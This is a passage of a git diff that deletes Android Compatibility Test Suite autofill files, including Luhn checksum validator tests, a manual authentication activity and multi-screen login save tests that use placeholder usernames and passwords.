-        assertThat(validator.isValid(finder)).isFalse();
-    }
-
-    @Test
-    public void leadingZerosAreIgnored() {
-        AutofillId id = new AutofillId(1);
-
-        LuhnChecksumValidator validator = new LuhnChecksumValidator(id);
-
-        ValueFinder finder = mock(ValueFinder.class);
-
-        when(finder.findByAutofillId(id)).thenReturn("7992739871-3");
-        assertThat(validator.isValid(finder)).isTrue();
-
-        when(finder.findByAutofillId(id)).thenReturn("07992739871-3");
-        assertThat(validator.isValid(finder)).isTrue();
-    }
-
-    @Test
-    public void onlyOneChecksumValid() {
-        AutofillId id = new AutofillId(1);
-
-        LuhnChecksumValidator validator = new LuhnChecksumValidator(id);
-
-        ValueFinder finder = mock(ValueFinder.class);
-
-        for (int i = 0; i < 10; i++) {
-            when(finder.findByAutofillId(id)).thenReturn("7992739871-" + i);
-            assertThat(validator.isValid(finder)).isEqualTo(i == 3);
-        }
-    }
-
-    @Test
-    public void nullAutofillValuesCauseFailure() {
-        AutofillId id1 = new AutofillId(1);
-        AutofillId id2 = new AutofillId(2);
-        AutofillId id3 = new AutofillId(3);
-
-        LuhnChecksumValidator validator = new LuhnChecksumValidator(id1, id2, id3);
-
-        ValueFinder finder = mock(ValueFinder.class);
-
-        when(finder.findByAutofillId(id1)).thenReturn("7992739871");
-        when(finder.findByAutofillId(id2)).thenReturn(null);
-        when(finder.findByAutofillId(id3)).thenReturn("3");
-
-        assertThat(validator.isValid(finder)).isFalse();
-    }
-
-    @Test
-    public void nonDigits() {
-        AutofillId id = new AutofillId(1);
-
-        LuhnChecksumValidator validator = new LuhnChecksumValidator(id);
-
-        ValueFinder finder = mock(ValueFinder.class);
-        when(finder.findByAutofillId(id)).thenReturn("a7B9^9\n2 7{3\b9\08\uD83C\uDF2D7-1_3$");
-        assertThat(validator.isValid(finder)).isTrue();
-    }
-
-    @Test
-    public void multipleFieldNumber() {
-        AutofillId id1 = new AutofillId(1);
-        AutofillId id2 = new AutofillId(2);
-
-        LuhnChecksumValidator validator = new LuhnChecksumValidator(id1, id2);
-
-        ValueFinder finder = mock(ValueFinder.class);
-
-        when(finder.findByAutofillId(id1)).thenReturn("7992739871");
-        when(finder.findByAutofillId(id2)).thenReturn("3");
-        assertThat(validator.isValid(finder)).isTrue();
-
-        when(finder.findByAutofillId(id2)).thenReturn("2");
-        assertThat(validator.isValid(finder)).isFalse();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ManualAuthenticationActivity.java b/tests/autofillservice/src/android/autofillservice/cts/ManualAuthenticationActivity.java
deleted file mode 100644
index b1983d1..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/ManualAuthenticationActivity.java
+++ /dev/null
@@ -1,74 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.app.Activity;
-import android.app.assist.AssistStructure;
-import android.content.Intent;
-import android.os.Bundle;
-import android.os.Parcelable;
-import android.view.autofill.AutofillManager;
-
-/**
- * An activity that authenticates on button press
- */
-public class ManualAuthenticationActivity extends Activity {
-    private static CannedFillResponse sResponse;
-    private static CannedFillResponse.CannedDataset sDataset;
-
-    public static void setResponse(CannedFillResponse response) {
-        sResponse = response;
-        sDataset = null;
-    }
-
-    public static void setDataset(CannedFillResponse.CannedDataset dataset) {
-        sDataset = dataset;
-        sResponse = null;
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.single_button_activity);
-
-        findViewById(R.id.button).setOnClickListener((v) -> {
-            AssistStructure structure = getIntent().getParcelableExtra(
-                    AutofillManager.EXTRA_ASSIST_STRUCTURE);
-            if (structure != null) {
-                Parcelable result;
-                if (sResponse != null) {
-                    result = sResponse.asFillResponse(/* contexts= */ null,
-                            (id) -> Helper.findNodeByResourceId(structure, id));
-                } else if (sDataset != null) {
-                    result = sDataset.asDataset(
-                            (id) -> Helper.findNodeByResourceId(structure, id));
-                } else {
-                    throw new IllegalStateException("no dataset or response");
-                }
-
-                // Pass on the auth result
-                Intent intent = new Intent();
-                intent.putExtra(AutofillManager.EXTRA_AUTHENTICATION_RESULT, result);
-                setResult(RESULT_OK, intent);
-            }
-
-            // Done
-            finish();
-        });
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MaxVisibleDatasetsRule.java b/tests/autofillservice/src/android/autofillservice/cts/MaxVisibleDatasetsRule.java
deleted file mode 100644
index 8a397d9..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/MaxVisibleDatasetsRule.java
+++ /dev/null
@@ -1,63 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-/**
- * Custom JUnit4 rule that improves autofill-related environment by:
- *
- * <ol>
- *   <li>Setting max_visible_datasets before and after test.
- * </ol>
- */
-public final class MaxVisibleDatasetsRule implements TestRule {
-
-    private static final String TAG = MaxVisibleDatasetsRule.class.getSimpleName();
-
-    private final int mMaxNumber;
-
-    /**
-     * Creates a MaxVisibleDatasetsRule with given datasets values.
-     *
-     * @param maxNumber The desired max_visible_datasets value for a test,
-     * after the test it will be replaced by the original value
-     */
-    public MaxVisibleDatasetsRule(int maxNumber) {
-        mMaxNumber = maxNumber;
-    }
-
-
-    @Override
-    public Statement apply(Statement base, Description description) {
-        return new Statement() {
-
-            @Override
-            public void evaluate() throws Throwable {
-                final int original = Helper.getMaxVisibleDatasets();
-                Helper.setMaxVisibleDatasets(mMaxNumber);
-                try {
-                    base.evaluate();
-                } finally {
-                    Helper.setMaxVisibleDatasets(original);
-                }
-            }
-        };
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultiScreenDifferentActivitiesTest.java b/tests/autofillservice/src/android/autofillservice/cts/MultiScreenDifferentActivitiesTest.java
deleted file mode 100644
index 7d8d4be..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/MultiScreenDifferentActivitiesTest.java
+++ /dev/null
@@ -1,147 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.PreSimpleSaveActivity.ID_PRE_INPUT;
-import static android.autofillservice.cts.SimpleSaveActivity.ID_INPUT;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.assist.AssistStructure;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.content.ComponentName;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.SaveInfo;
-import android.support.test.uiautomator.UiObject2;
-
-import org.junit.Test;
-
-@AppModeFull(reason = "Service-specific test")
-public class MultiScreenDifferentActivitiesTest
-        extends AutoFillServiceTestCase.ManualActivityLaunch {
-
-    @Test
-    public void testActivityNotDelayedIsNotMerged() throws Exception {
-        // Set service.
-        enableService();
-
-        // Trigger autofill on 1st activity, without using FLAG_DELAY_SAVE
-        final PreSimpleSaveActivity activity1 = startPreSimpleSaveActivity();
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME, ID_PRE_INPUT)
-                .build());
-
-        activity1.syncRunOnUiThread(() -> activity1.mPreInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger autofill on 2nd activity
-        final SimpleSaveActivity activity2 = startSimpleSaveActivity();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_INPUT)
-                .build());
-        activity2.syncRunOnUiThread(() -> activity2.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save
-        activity2.syncRunOnUiThread(() -> {
-            activity2.mInput.setText("ID");
-            activity2.mCommit.performClick();
-        });
-        final UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        // Save it...
-        mUiBot.saveForAutofill(saveUi, true);
-
-        // ... and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-
-        // Make sure only second request is available
-        assertThat(saveRequest.contexts).hasSize(1);
-
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "ID");
-    }
-
-    @Test
-    public void testDelayedActivityIsMerged() throws Exception {
-        // Set service.
-        enableService();
-
-        // Trigger autofill on 1st activity, usingFLAG_DELAY_SAVE
-        final PreSimpleSaveActivity activity1 = startPreSimpleSaveActivity();
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setSaveInfoFlags(SaveInfo.FLAG_DELAY_SAVE)
-                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME, ID_PRE_INPUT)
-                .build());
-
-        activity1.syncRunOnUiThread(() -> activity1.mPreInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Fill field but don't finish session yet
-        activity1.syncRunOnUiThread(() -> {
-            activity1.mPreInput.setText("PRE");
-        });
-
-        // Trigger autofill on 2nd activity
-        final SimpleSaveActivity activity2 = startSimpleSaveActivity();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_INPUT)
-                .build());
-        activity2.syncRunOnUiThread(() -> activity2.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save
-        activity2.syncRunOnUiThread(() -> {
-            activity2.mInput.setText("ID");
-            activity2.mCommit.performClick();
-        });
-        final UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        // Save it...
-        mUiBot.saveForAutofill(saveUi, true);
-
-        // ... and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-
-        // Make sure both requests are available
-        assertThat(saveRequest.contexts).hasSize(2);
-
-        // Assert 1st request
-        final AssistStructure structure1 = saveRequest.contexts.get(0).getStructure();
-        assertWithMessage("no structure for 1st activity").that(structure1).isNotNull();
-        assertTextAndValue(findNodeByResourceId(structure1, ID_PRE_INPUT), "PRE");
-        assertThat(findNodeByResourceId(structure1, ID_INPUT)).isNull();
-        final ComponentName component1 = structure1.getActivityComponent();
-        assertThat(component1).isEqualTo(activity1.getComponentName());
-
-        // Assert 2nd request
-        final AssistStructure structure2 = saveRequest.contexts.get(1).getStructure();
-        assertWithMessage("no structure for 2nd activity").that(structure2).isNotNull();
-        assertThat(findNodeByResourceId(structure2, ID_PRE_INPUT)).isNull();
-        assertTextAndValue(findNodeByResourceId(structure2, ID_INPUT), "ID");
-        final ComponentName component2 = structure2.getActivityComponent();
-        assertThat(component2).isEqualTo(activity2.getComponentName());
-        activity2.syncRunOnUiThread(() -> {
-            activity2.mInput.setFocusable(false);
-        });
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultiScreenLoginTest.java b/tests/autofillservice/src/android/autofillservice/cts/MultiScreenLoginTest.java
deleted file mode 100644
index ca0a2d2..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/MultiScreenLoginTest.java
+++ /dev/null
@@ -1,422 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.CustomDescriptionHelper.newCustomDescriptionWithUsernameAndPassword;
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_PASSWORD_LABEL;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.ID_USERNAME_LABEL;
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.findAutofillIdByResourceId;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.assist.AssistStructure;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.content.ComponentName;
-import android.os.Bundle;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.CharSequenceTransformation;
-import android.service.autofill.SaveInfo;
-import android.support.test.uiautomator.UiObject2;
-import android.util.Log;
-import android.view.autofill.AutofillId;
-
-import org.junit.Test;
-
-import java.util.regex.Pattern;
-
-/**
- * Test case for the senario where a login screen is split in multiple activities.
- */
-@AppModeFull(reason = "Service-specific test")
-public class MultiScreenLoginTest
-        extends AutoFillServiceTestCase.AutoActivityLaunch<UsernameOnlyActivity> {
-
-    private static final String TAG = "MultiScreenLoginTest";
-    private static final Pattern MATCH_ALL = Pattern.compile("^(.*)$");
-
-    private UsernameOnlyActivity mActivity;
-
-    @Override
-    protected AutofillActivityTestRule<UsernameOnlyActivity> getActivityRule() {
-        return new AutofillActivityTestRule<UsernameOnlyActivity>(UsernameOnlyActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-
-    /**
-     * Tests the "traditional" scenario where the service must save each field (username and
-     * password) separately.
-     */
-    @Test
-    public void testSaveEachFieldSeparately() throws Exception {
-        // Set service
-        enableService();
-
-        // First handle username...
-
-        // Set expectations.
-        final Bundle clientState1 = new Bundle();
-        clientState1.putString("first", "one");
-        clientState1.putString("last", "one");
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME, ID_USERNAME)
-                .setExtras(clientState1)
-                .build());
-
-        // Trigger autofill
-        mActivity.focusOnUsername();
-        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
-        assertThat(fillRequest1.contexts.size()).isEqualTo(1);
-        mUiBot.assertNoDatasetsEver();
-
-        // Trigger save...
-        mActivity.setUsername("dude");
-        mActivity.next();
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_USERNAME);
-
-        // ..and assert results
-        final SaveRequest saveRequest1 = sReplier.getNextSaveRequest();
-        assertTextAndValue(findNodeByResourceId(saveRequest1.structure, ID_USERNAME), "dude");
-        assertThat(saveRequest1.data.getString("first")).isEqualTo("one");
-        assertThat(saveRequest1.data.getString("last")).isEqualTo("one");
-
-        // ...now rinse and repeat for password
-
-        // Get the activity
-        final PasswordOnlyActivity activity2 = AutofillTestWatcher
-                .getActivity(PasswordOnlyActivity.class);
-
-        // Set expectations.
-        final Bundle clientState2 = new Bundle();
-        clientState2.putString("second", "two");
-        clientState2.putString("last", "two");
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PASSWORD)
-                .setExtras(clientState2)
-                .build());
-
-        // Trigger autofill
-        activity2.focusOnPassword();
-        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
-        assertThat(fillRequest2.contexts.size()).isEqualTo(1);
-        mUiBot.assertNoDatasetsEver();
-
-        // Trigger save...
-        activity2.setPassword("sweet");
-        activity2.login();
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        // ..and assert results
-        final SaveRequest saveRequest2 = sReplier.getNextSaveRequest();
-        assertThat(saveRequest2.data.getString("first")).isNull();
-        assertThat(saveRequest2.data.getString("second")).isEqualTo("two");
-        assertThat(saveRequest2.data.getString("last")).isEqualTo("two");
-        assertTextAndValue(findNodeByResourceId(saveRequest2.structure, ID_PASSWORD), "sweet");
-    }
-
-    /**
-     * Tests the new scenario introudced on Q where the service can set a multi-screen session,
-     * with the service setting the client state just in the first request (so its passed to both
-     * the second fill request and the save request.
-     */
-    @Test
-    public void testSaveBothFieldsAtOnceNoClientStateOnSecondRequest() throws Exception {
-        // Set service
-        enableService();
-
-        // First handle username...
-
-        // Set expectations.
-        final Bundle clientState1 = new Bundle();
-        clientState1.putString("first", "one");
-        clientState1.putString("last", "one");
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setSaveInfoFlags(SaveInfo.FLAG_DELAY_SAVE)
-                .setExtras(clientState1)
-                .build());
-
-        // Trigger autofill
-        mActivity.focusOnUsername();
-        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
-        assertThat(fillRequest1.contexts.size()).isEqualTo(1);
-        final ComponentName component1 = fillRequest1.structure.getActivityComponent();
-        assertThat(component1).isEqualTo(mActivity.getComponentName());
-        mUiBot.assertNoDatasetsEver();
-
-        // Trigger what would be save...
-        mActivity.setUsername("dude");
-        mActivity.next();
-        mUiBot.assertSaveNotShowing();
-
-        // ...now rinse and repeat for password
-
-        // Get the activity
-        final PasswordOnlyActivity passwordActivity = AutofillTestWatcher
-                .getActivity(PasswordOnlyActivity.class);
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME | SAVE_DATA_TYPE_PASSWORD,
-                        ID_PASSWORD)
-                .build());
-
-        // Trigger autofill
-        passwordActivity.focusOnPassword();
-        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
-        assertThat(fillRequest2.contexts.size()).isEqualTo(2);
-        // Client state should come from 1st request
-        assertThat(fillRequest2.data.getString("first")).isEqualTo("one");
-        assertThat(fillRequest2.data.getString("last")).isEqualTo("one");
-
-        final ComponentName component2 = fillRequest2.structure.getActivityComponent();
-        assertThat(component2).isEqualTo(passwordActivity.getComponentName());
-        mUiBot.assertNoDatasetsEver();
-
-        // Trigger save...
-        passwordActivity.setPassword("sweet");
-        passwordActivity.login();
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_USERNAME, SAVE_DATA_TYPE_PASSWORD);
-
-        // ..and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        // Client state should come from 1st request
-        assertThat(fillRequest2.data.getString("first")).isEqualTo("one");
-        assertThat(fillRequest2.data.getString("last")).isEqualTo("one");
-
-        assertThat(saveRequest.contexts.size()).isEqualTo(2);
-
-        // Username is set in the 1st context
-        final AssistStructure previousStructure = saveRequest.contexts.get(0).getStructure();
-        assertWithMessage("no structure for 1st activity").that(previousStructure).isNotNull();
-        assertTextAndValue(findNodeByResourceId(previousStructure, ID_USERNAME), "dude");
-        final ComponentName componentPrevious = previousStructure.getActivityComponent();
-        assertThat(componentPrevious).isEqualTo(mActivity.getComponentName());
-
-        // Password is set in the 2nd context
-        final AssistStructure currentStructure = saveRequest.contexts.get(1).getStructure();
-        assertWithMessage("no structure for 2nd activity").that(currentStructure).isNotNull();
-        assertTextAndValue(findNodeByResourceId(currentStructure, ID_PASSWORD), "sweet");
-        final ComponentName componentCurrent = currentStructure.getActivityComponent();
-        assertThat(componentCurrent).isEqualTo(passwordActivity.getComponentName());
-    }
-
-    /**
-     * Tests the new scenario introudced on Q where the service can set a multi-screen session,
-     * with the service setting the client state just on both requests (so the 1st client state is
-     * passed to the 2nd request, and the 2nd client state is passed to the save request).
-     */
-    @Test
-    public void testSaveBothFieldsAtOnceWithClientStateOnBothRequests() throws Exception {
-        // Set service
-        enableService();
-
-        // First handle username...
-
-        // Set expectations.
-        final Bundle clientState1 = new Bundle();
-        clientState1.putString("first", "one");
-        clientState1.putString("last", "one");
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setSaveInfoFlags(SaveInfo.FLAG_DELAY_SAVE)
-                .setExtras(clientState1)
-                .build());
-
-        // Trigger autofill
-        mActivity.focusOnUsername();
-        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
-        assertThat(fillRequest1.contexts.size()).isEqualTo(1);
-        final ComponentName component1 = fillRequest1.structure.getActivityComponent();
-        assertThat(component1).isEqualTo(mActivity.getComponentName());
-        mUiBot.assertNoDatasetsEver();
-
-        // Trigger what would be save...
-        mActivity.setUsername("dude");
-        mActivity.next();
-        mUiBot.assertSaveNotShowing();
-
-        // ...now rinse and repeat for password
-
-        // Get the activity
-        final PasswordOnlyActivity passwordActivity = AutofillTestWatcher
-                .getActivity(PasswordOnlyActivity.class);
-
-        // Set expectations.
-        final Bundle clientState2 = new Bundle();
-        clientState2.putString("second", "two");
-        clientState2.putString("last", "two");
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME | SAVE_DATA_TYPE_PASSWORD,
-                        ID_PASSWORD)
-                .setExtras(clientState2)
-                .build());
-
-        // Trigger autofill
-        passwordActivity.focusOnPassword();
-        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
-        assertThat(fillRequest2.contexts.size()).isEqualTo(2);
-        // Client state on 2nd request should come from previous (1st) request
-        assertThat(fillRequest2.data.getString("first")).isEqualTo("one");
-        assertThat(fillRequest2.data.getString("second")).isNull();
-        assertThat(fillRequest2.data.getString("last")).isEqualTo("one");
-
-        final ComponentName component2 = fillRequest2.structure.getActivityComponent();
-        assertThat(component2).isEqualTo(passwordActivity.getComponentName());
-        mUiBot.assertNoDatasetsEver();
-
-        // Trigger save...
-        passwordActivity.setPassword("sweet");
-        passwordActivity.login();
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_USERNAME, SAVE_DATA_TYPE_PASSWORD);
-
-        // ..and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        // Client state on save request should come from last (2nd) request
-        assertThat(saveRequest.data.getString("first")).isNull();
-        assertThat(saveRequest.data.getString("second")).isEqualTo("two");
-        assertThat(saveRequest.data.getString("last")).isEqualTo("two");
-
-        assertThat(saveRequest.contexts.size()).isEqualTo(2);
-
-        // Username is set in the 1st context
-        final AssistStructure previousStructure = saveRequest.contexts.get(0).getStructure();
-        assertWithMessage("no structure for 1st activity").that(previousStructure).isNotNull();
-        assertTextAndValue(findNodeByResourceId(previousStructure, ID_USERNAME), "dude");
-        final ComponentName componentPrevious = previousStructure.getActivityComponent();
-        assertThat(componentPrevious).isEqualTo(mActivity.getComponentName());
-
-        // Password is set in the 2nd context
-        final AssistStructure currentStructure = saveRequest.contexts.get(1).getStructure();
-        assertWithMessage("no structure for 2nd activity").that(currentStructure).isNotNull();
-        assertTextAndValue(findNodeByResourceId(currentStructure, ID_PASSWORD), "sweet");
-        final ComponentName componentCurrent = currentStructure.getActivityComponent();
-        assertThat(componentCurrent).isEqualTo(passwordActivity.getComponentName());
-    }
-
-    @Test
-    public void testSaveBothFieldsCustomDescription_differentIds() throws Exception {
-        saveBothFieldsCustomDescription(false);
-    }
-
-    @Test
-    public void testSaveBothFieldsCustomDescription_sameIds() throws Exception {
-        saveBothFieldsCustomDescription(true);
-    }
-
-    private void saveBothFieldsCustomDescription(boolean sameAutofillId) throws Exception {
-        // Set service
-        enableService();
-
-        // Set ids
-        final AutofillId appUsernameId = mActivity.getUsernameAutofillId();
-        final AutofillId appPasswordId = sameAutofillId ? appUsernameId
-                : mActivity.getAutofillManager().getNextAutofillId();
-        mActivity.setPasswordAutofillId(appPasswordId);
-        Log.d(TAG, "App: usernameId=" + appUsernameId + ", passwordId=" + appPasswordId);
-
-        // First handle username...
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setSaveInfoFlags(SaveInfo.FLAG_DELAY_SAVE)
-                .build());
-
-        // Trigger autofill
-        mActivity.focusOnUsername();
-        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
-        assertThat(fillRequest1.contexts.size()).isEqualTo(1);
-        final ComponentName component1 = fillRequest1.structure.getActivityComponent();
-        assertThat(component1).isEqualTo(mActivity.getComponentName());
-        mUiBot.assertNoDatasetsEver();
-
-        // Trigger what would be save...
-        mActivity.setUsername("dude");
-        mActivity.next();
-        mUiBot.assertSaveNotShowing();
-
-        // ...now rinse and repeat for password
-
-        // Get the activity
-        final PasswordOnlyActivity passwordActivity = AutofillTestWatcher
-                .getActivity(PasswordOnlyActivity.class);
-
-        // Must get AutofillIds from FillRequest, as they contain the proper session ids
-        final AutofillId svcUsernameId = findAutofillIdByResourceId(fillRequest1.contexts.get(0),
-                ID_USERNAME);
-        Log.d(TAG, "Service: usernameId=" + svcUsernameId);
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setVisitor((contexts, builder) -> {
-                    final AutofillId svcPasswordId =
-                            findAutofillIdByResourceId(contexts.get(1), ID_PASSWORD);
-                    Log.d(TAG, "Service: passwordId=" + svcPasswordId);
-                    final CharSequenceTransformation usernameTrans =
-                            new CharSequenceTransformation.Builder(svcUsernameId, MATCH_ALL, "$1")
-                            .build();
-                    final CharSequenceTransformation passwordTrans =
-                            new CharSequenceTransformation.Builder(svcPasswordId, MATCH_ALL, "$1")
-                            .build();
-                    builder.setSaveInfo(new SaveInfo.Builder(
-                            SAVE_DATA_TYPE_USERNAME | SAVE_DATA_TYPE_PASSWORD,
-                            new AutofillId[] {svcPasswordId})
-                            .setCustomDescription(newCustomDescriptionWithUsernameAndPassword()
-                                    .addChild(R.id.username, usernameTrans)
-                                    .addChild(R.id.password, passwordTrans)
-                                    .build())
-                            .build());
-                })
-                .build());
-
-        // Trigger autofill
-        passwordActivity.focusOnPassword();
-        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
-        assertThat(fillRequest2.contexts.size()).isEqualTo(2);
-
-        final ComponentName component2 = fillRequest2.structure.getActivityComponent();
-        assertThat(component2).isEqualTo(passwordActivity.getComponentName());
-        mUiBot.assertNoDatasetsEver();
-
-        // Trigger save...
-        passwordActivity.setPassword("sweet");
-        passwordActivity.login();
-
-        // ...and assert UI
-        final UiObject2 saveUi = mUiBot.assertSaveShowing(
-                SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL, null, SAVE_DATA_TYPE_USERNAME,
-                SAVE_DATA_TYPE_PASSWORD);
-
-        mUiBot.assertChildText(saveUi, ID_USERNAME_LABEL, "User:");
-        mUiBot.assertChildText(saveUi, ID_USERNAME, "dude");
-        mUiBot.assertChildText(saveUi, ID_PASSWORD_LABEL, "Pass:");
-        mUiBot.assertChildText(saveUi, ID_PASSWORD, "sweet");
-    }
-
-    // TODO(b/113281366): add test cases for more scenarios such as:
-    // - make sure that activity not marked with keepAlive is not sent in the 2nd request
-    // - somehow verify that the first activity's session is gone
-    // - WebView
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultiWindowEmptyActivity.java b/tests/autofillservice/src/android/autofillservice/cts/MultiWindowEmptyActivity.java
deleted file mode 100644
index 0fd0c83..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/MultiWindowEmptyActivity.java
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import com.android.compatibility.common.util.RetryableException;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Empty activity that allows to be put in different split window.
- */
-public class MultiWindowEmptyActivity extends EmptyActivity {
-
-    private static MultiWindowEmptyActivity sLastInstance;
-    private static CountDownLatch sLastInstanceLatch;
-
-    @Override
-    protected void onStart() {
-        super.onStart();
-        sLastInstance = this;
-        if (sLastInstanceLatch != null) {
-            sLastInstanceLatch.countDown();
-        }
-    }
-
-    @Override
-    public void onWindowFocusChanged(boolean hasFocus) {
-        if (hasFocus) {
-            if (sLastInstanceLatch != null) {
-                sLastInstanceLatch.countDown();
-            }
-        }
-    }
-
-    public static void expectNewInstance(boolean waitWindowFocus) {
